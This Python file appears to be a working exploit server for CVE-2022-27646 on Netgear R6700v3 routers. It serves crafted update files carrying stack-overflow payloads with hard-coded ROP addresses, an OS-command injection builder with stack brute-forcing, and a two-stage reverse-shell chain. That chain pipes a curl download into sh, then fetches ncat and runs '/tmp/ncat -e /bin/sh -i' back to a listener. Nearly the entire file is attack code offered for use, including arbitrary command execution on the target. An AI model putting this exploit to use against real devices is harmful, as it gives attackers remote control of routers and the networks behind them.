Files
2024-08-21 08:21:17 +02:00

197 lines
8.7 KiB
Python

#!/usr/bin/env python3
## -*- coding: utf-8 -*-
from argparse import RawTextHelpFormatter, ArgumentParser
from http.server import BaseHTTPRequestHandler, HTTPServer
from os import path
from urllib.parse import urlparse
from typing import Dict
cmd_addr = 0xbeffcaa0+396
class HttpHandler(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
payload = "leg"
cmd_addr = cmd_addr
def version_string(self) -> str:
return "circled.server"
def write_response(self, status_code: int, content_type: str, content: bytes) -> None:
self.send_response(status_code)
self.send_header("Content-Type", content_type)
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
return
def serve_file(self, filename: str) -> bytes:
f = open(path.join(path.dirname(__file__), filename), "rb")
b = f.read()
f.close()
return b
def serve_stage0_payload(self, database: bool = False) -> bytes:
payload = HttpHandler.payload
cmd_addr = HttpHandler.cmd_addr
# Serve requests for database.bin
if database:
if payload == "leg":
return self.serve_file("resources/database.bin")
return b"foobar"
# Serve requests for circleinfo.txt
if payload == "leg":
return self.serve_file("resources/circleinfo.txt")
elif payload == "pov":
return b"A"*1021 + b" X"
elif payload == "poc1":
p = b"A"*368
p += b"\xa0\xca\xff\xbe"
p += b"B"*20
p += b"\xb8\xc9\x00\x00"
p += b"\x69\x64\x3e\x2f"
p += b"\x69\x64\x3b\x23"
p += b"C"*617
p += b" X"
return p
elif payload == "poc2":
p = bytearray([
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0xa0,0xca,0xff,0xbe,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,
0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0xb8,0xc9,0x00,0x00,0x69,0x64,0x3e,0x2f,
0x69,0x64,0x3b,0x23,0x00
])
return p
elif payload == "rsh":
cmd = "curl http://127.0.0.1:5000/stage1|sh"
else:
cmd = payload
# Replace spaces in the command (spaces cannot be used due to sscanf(str, "%s %s"))
cmd = "touch\t/tmp/st0;" + cmd.replace(" ", "\t") + ";#"
# Generate payload
p = b"A"*368 # [ 0: 367]
p += cmd_addr.to_bytes(4, "little") # [ 368: 371] g0_r0_val (stack addr. of OS command)
p += b"B"*20 # [ 372: 391]
p += b"\xb8\xc9\x00\x00" # [ 392: 395] g0_pc_val (addr. of ROP gadget 1)
max_cmd_len = 1024-len(p)-2-2
p += b"X"*max(0, (max_cmd_len-len(cmd))) + b";" # [ 396: L] Fill up with an nonexistent command
p += bytes(cmd, "UTF-8")[:max_cmd_len] # [ L+1:1020] OS command to execute
p += b" X" # String separator: sscanf(str, "%s %s", ...)
print(f"[*] Stage 0 payload: 0x{cmd_addr:08x} '{cmd:s}'")
# Brute force the stack
HttpHandler.cmd_addr = cmd_addr - 0x1000
return p
def serve_stage1_payload(self) -> bytes:
payload = b"""#!/bin/sh
# Download ncat
curl http://127.0.0.1:5000/stage1/ncat -o /tmp/ncat
chmod +x /tmp/ncat
# Run reverse shell
/tmp/ncat -e "/bin/sh -i" 127.0.0.1 5001
"""
return payload
def do_GET(self) -> None:
url_components = urlparse(self.path)
# Stage 0 payload(s)
if url_components.path == "/circleinfo.txt":
self.write_response(200, "application/octet-stream", self.serve_stage0_payload(False))
elif url_components.path == "/database.bin":
self.write_response(200, "application/octet-stream", self.serve_stage0_payload(True))
# Stage 1 payload(s)
elif url_components.path == "/stage1":
self.write_response(200, "application/octet-stream", self.serve_stage1_payload())
elif url_components.path == "/stage1/ncat":
self.write_response(200, "application/octet-stream", self.serve_file("bins/ncat"))
HttpHandler.cmd_addr = cmd_addr
# Not found
else:
self.write_response(404, "text/plain", b"Not found.")
return
class HttpServer:
def __init__(self, args: Dict) -> None:
self.host = args.host
self.port = args.port
HttpHandler.payload = args.payload
return
def run(self) -> None:
httpd = HTTPServer((self.host, self.port), HttpHandler)
print(f"[+] HTTP server listens on '{self.host:s}:{self.port:d}'.")
print(f"[+] Serving payload '{args.payload:s}'.")
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print(f"\n[+] HTTP server stopped.")
return
if __name__ == "__main__":
# Argument parsing
description = """
HTTP server delivering files `circleinfo.txt` and `database.bin` to exploit CVE-2022-27646 on
Netgear R6700v3 routers.
`--payload "leg"` : legitimate
serve legitimate versions of files `circleinfo.txt` and `database.bin`
`--payload "pov"` : proof of vulnerability
serve files triggering the vulnerability
`--payload "poc1"`: proof of concept exploit
serve files executing the command `id>/id;#`
`--payload "poc2"`: proof of concept exploit
serve files executing the command `id>/id;#`
`--payload "rsh"` : reverse shell
serve files triggering a reverse shell connecting back to TCP port 5001
use `./server/bins/ncat -l -p 5001` to catch the reverse shell
`--payload OTHER` : OS command
serve files running the specified OS command on the target
"""
parser = ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
parser.add_argument("--host", type=str, default="0.0.0.0",
help="host of the HTTP server (default: '%(default)s')")
parser.add_argument("--port", type=int, default=5000,
help="port of the HTTP server (default: %(default)d)")
parser.add_argument("--payload", type=str, default="leg",
help="payload (default: '%(default)s')")
args = parser.parse_args()
# HTTP Server
httpd = HttpServer(args)
httpd.run()